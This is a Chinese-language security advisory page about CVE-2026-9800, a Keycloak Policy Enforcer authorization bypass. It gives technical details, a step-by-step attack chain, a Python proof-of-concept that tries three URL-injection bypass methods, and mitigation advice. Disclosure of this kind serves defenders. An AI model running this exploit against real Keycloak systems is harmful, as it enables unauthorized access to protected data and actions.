IPBUF安全漏洞报告
English
CVE-2026-9800 CVSS 8.1 高危

CVE-2026-9800 Keycloak Policy Enforcer授权绕过漏洞

披露日期: 2026-06-25

漏洞信息

漏洞编号
CVE-2026-9800
漏洞类型
授权绕过(Authorization Bypass)
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Red Hat Keycloak Policy Enforcer

相关标签

CVE-2026-9800Keycloak授权绕过Authorization BypassPolicy EnforcerRed Hat身份和访问管理IAM高危漏洞安全绕过

漏洞概述

CVE-2026-9800是Red Hat Keycloak Policy Enforcer组件中存在的一个高危授权绕过漏洞,CVSS评分为8.1分。该漏洞由Red Hat安全团队([email protected])发现并报告,于2026年6月25日公开披露。Keycloak作为一款广泛使用的开源身份和访问管理(IAM)解决方案,其Policy Enforcer组件负责对受保护资源执行授权策略检查,包括基于角色(Role-Based Access Control)、作用域(Scope)以及用户管理访问(UMA)权限的验证。然而,该漏洞允许任何已通过身份认证的用户绕过所有授权策略检查,从而获取对受保护资源的未授权访问。该漏洞的利用条件相对简单,仅需要有效的用户凭证即可发起攻击,无需特殊权限或用户交互。由于Keycloak被大量企业用于保护API资源和微服务,此漏洞的影响范围广泛,可能导致敏感数据泄露和未授权操作。攻击者可以通过在请求URL中包含配置的访问拒绝页面路径(access-denied page path)作为路径段或查询参数来触发该漏洞,绕过Policy Enforcer的正常授权检查流程。此漏洞对机密性和完整性均产生高影响,对可用性无影响,攻击者可在不被检测的情况下访问受保护的资源。

技术细节

Keycloak Policy Enforcer的核心功能是在请求到达受保护资源之前拦截请求并执行授权策略验证。正常流程下,当用户请求受保护资源时,Policy Enforcer会检查用户的角色、权限范围以及UMA权限策略,决定是否允许访问。漏洞的根本原因在于Policy Enforcer对请求URL的路径处理逻辑存在缺陷。当请求URL中包含已配置的访问拒绝页面路径(access-denied path)作为路径段或查询参数时,Policy Enforcer会错误地认为该请求是访问拒绝页面的请求,从而跳过了对实际受保护资源的授权检查流程。具体而言,攻击者构造一个包含access-denied路径的恶意URL,例如将正常的受保护资源路径与access-denied路径进行拼接或作为参数附加,Policy Enforcer在解析URL时优先匹配到access-denied模式,导致授权检查被完全绕过。这种路径混淆攻击利用了Policy Enforcer在URL路由匹配和授权决策之间的逻辑缺陷。由于该漏洞需要低权限认证(PR:L),攻击者只需拥有任何有效的Keycloak用户凭证即可利用,无需管理员权限。攻击通过网络(AV:N)发起,攻击复杂度低(AC:L),无需用户交互(UI:N),成功利用后对机密性(C:H)和完整性(I:H)产生高影响。

攻击链分析

STEP 1
步骤1:获取有效凭证
攻击者通过合法途径(如社会工程、凭证填充或钓鱼攻击)获取任意有效的Keycloak用户凭证。注意该漏洞仅需低权限用户即可利用,无需管理员权限。
STEP 2
步骤2:身份认证
使用获取的用户凭证通过Keycloak的身份认证端点(/protocol/openid-connect/token)进行认证,获取有效的访问令牌(access_token)。
STEP 3
步骤3:构造恶意请求URL
识别目标系统中配置的访问拒绝页面路径(access-denied path),然后将受保护资源的URL与该路径进行拼接,可作为路径段(如/resource/access-denied)或查询参数(如/resource?redirect=/access-denied)。
STEP 4
步骤4:发送绕过请求
使用获取的访问令牌向构造的恶意URL发送HTTP请求。由于URL中包含access-denied路径,Keycloak Policy Enforcer错误地将该请求识别为访问拒绝页面的请求,跳过了对受保护资源的授权策略检查。
STEP 5
步骤5:获取未授权访问
Policy Enforcer绕过授权检查后,攻击者成功访问受保护的资源,包括绕过角色检查、作用域检查和UMA权限检查,可读取敏感数据或执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9800 PoC - Keycloak Policy Enforcer Authorization Bypass # Vulnerability: Authorization bypass via access-denied path injection import requests # Configuration KEYCLOAK_URL = "https://keycloak.example.com" REALM = "master" CLIENT_ID = "your-client-id" USERNAME = "attacker_user" PASSWORD = "attacker_password" PROTECTED_RESOURCE = "/api/protected/admin/data" ACCESS_DENIED_PATH = "/access-denied" # Configured access-denied page path def exploit_auth_bypass(): """ Exploit CVE-2026-9800 by injecting the access-denied path into the request URL to bypass authorization checks. """ # Step 1: Authenticate and obtain access token token_url = f"{KEYCLOAK_URL}/realms/{REALM}/protocol/openid-connect/token" token_data = { "grant_type": "password", "client_id": CLIENT_ID, "username": USERNAME, "password": PASSWORD } response = requests.post(token_url, data=token_data) access_token = response.json().get("access_token") headers = { "Authorization": f"Bearer {access_token}", "Content-Type": "application/json" } # Step 2: Method 1 - Inject access-denied path as a path segment # Normal request would be blocked by Policy Enforcer bypass_url_1 = f"{KEYCLOAK_URL}{PROTECTED_RESOURCE}{ACCESS_DENIED_PATH}" print(f"[+] Attempting bypass via path segment: {bypass_url_1}") resp1 = requests.get(bypass_url_1, headers=headers) print(f"[+] Response status: {resp1.status_code}") # Step 3: Method 2 - Inject access-denied path as a query parameter bypass_url_2 = f"{KEYCLOAK_URL}{PROTECTED_RESOURCE}?redirect={ACCESS_DENIED_PATH}" print(f"[+] Attempting bypass via query parameter: {bypass_url_2}") resp2 = requests.get(bypass_url_2, headers=headers) print(f"[+] Response status: {resp2.status_code}") # Step 4: Method 3 - Path traversal style injection bypass_url_3 = f"{KEYCLOAK_URL}{ACCESS_DENIED_PATH}/../{PROTECTED_RESOURCE.lstrip('/')}" print(f"[+] Attempting bypass via path traversal: {bypass_url_3}") resp3 = requests.get(bypass_url_3, headers=headers) print(f"[+] Response status: {resp3.status_code}") return resp1, resp2, resp3 if __name__ == "__main__": print("[*] CVE-2026-9800 Keycloak Policy Enforcer Auth Bypass PoC") print("[*] WARNING: Use only for authorized security testing\n") results = exploit_auth_bypass() for i, resp in enumerate(results, 1): if resp.status_code == 200: print(f"[+] Method {i}: Authorization bypass successful!") else: print(f"[-] Method {i}: Bypass failed (status: {resp.status_code})")

影响范围

Red Hat Keycloak Policy Enforcer 所有受影响版本(具体版本范围待Red Hat官方确认)

防御指南

临时缓解措施
在官方修复版本发布之前,建议采取以下临时缓解措施:1)审计并临时禁用Policy Enforcer的access-denied页面路径配置功能,或将其更改为非标准路径以降低被利用的风险;2)在反向代理或API网关层面部署URL过滤规则,阻止包含access-denied路径段的异常请求;3)加强监控和告警,对所有受保护资源的访问进行实时监控,特别关注包含access-denied路径的请求;4)实施深度防御策略,在应用层增加额外的授权检查,不完全依赖Policy Enforcer;5)限制可访问受保护资源的用户范围,收紧认证策略;6)密切关注Red Hat官方发布的安全公告和补丁信息,第一时间应用修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表